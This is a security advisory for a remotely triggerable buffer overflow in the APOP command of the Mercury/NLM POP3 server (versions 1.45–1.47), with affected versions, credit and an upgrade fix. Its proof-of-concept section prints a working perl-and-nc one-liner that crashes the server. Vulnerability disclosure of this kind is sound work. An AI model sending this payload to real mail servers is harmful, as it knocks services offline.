Mercury for NetWare Buffer Overflow Vulnerability

BID:2641

Info

Mercury for NetWare Buffer Overflow Vulnerability

Bugtraq ID: 2641
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Apr 21 2001 12:00AM
Updated: Apr 21 2001 12:00AM
Credit: Discovered by Przemyslaw Frasunek <[email protected]> and discussed in a post to BugTraq on 21 Apr, 2001.
Vulnerable: David Harris Mercury/NLM 1.47
David Harris Mercury/NLM 1.46
David Harris Mercury/NLM 1.45
Not Vulnerable: David Harris Mercury/NLM 1.48

Discussion

Mercury for NetWare Buffer Overflow Vulnerability

Mercury MTA is a mail-transfer agent available for Novell NetWare and Windows NT. Novell versions of the Mercury POP3 server prior to 1.48 are vulnerable to a buffer overflow caused by inadequate string handling for the APOP authentication command.

Because the overflow occurs in an authentication command parser, unauthenticated remote users can trigger the overflow. It is unknown whether the overflow can lead to arbitrary code execution, but proof-of-concept code is available that will crash the NetWare server, requiring a reboot.

Exploit / POC

Mercury for NetWare Buffer Overflow Vulnerability

No exploit is available. However, the following perl code will bring a Mercury MTA host 'mercury_host' down.

perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc mercury_host 110

Solution / Fix

Mercury for NetWare Buffer Overflow Vulnerability

Solution:
The recommended solution is to upgrade the MTA to version 1.48:


David Harris Mercury/NLM 1.45

David Harris Mercury/NLM 1.46

David Harris Mercury/NLM 1.47

References

Mercury for NetWare Buffer Overflow Vulnerability

References:

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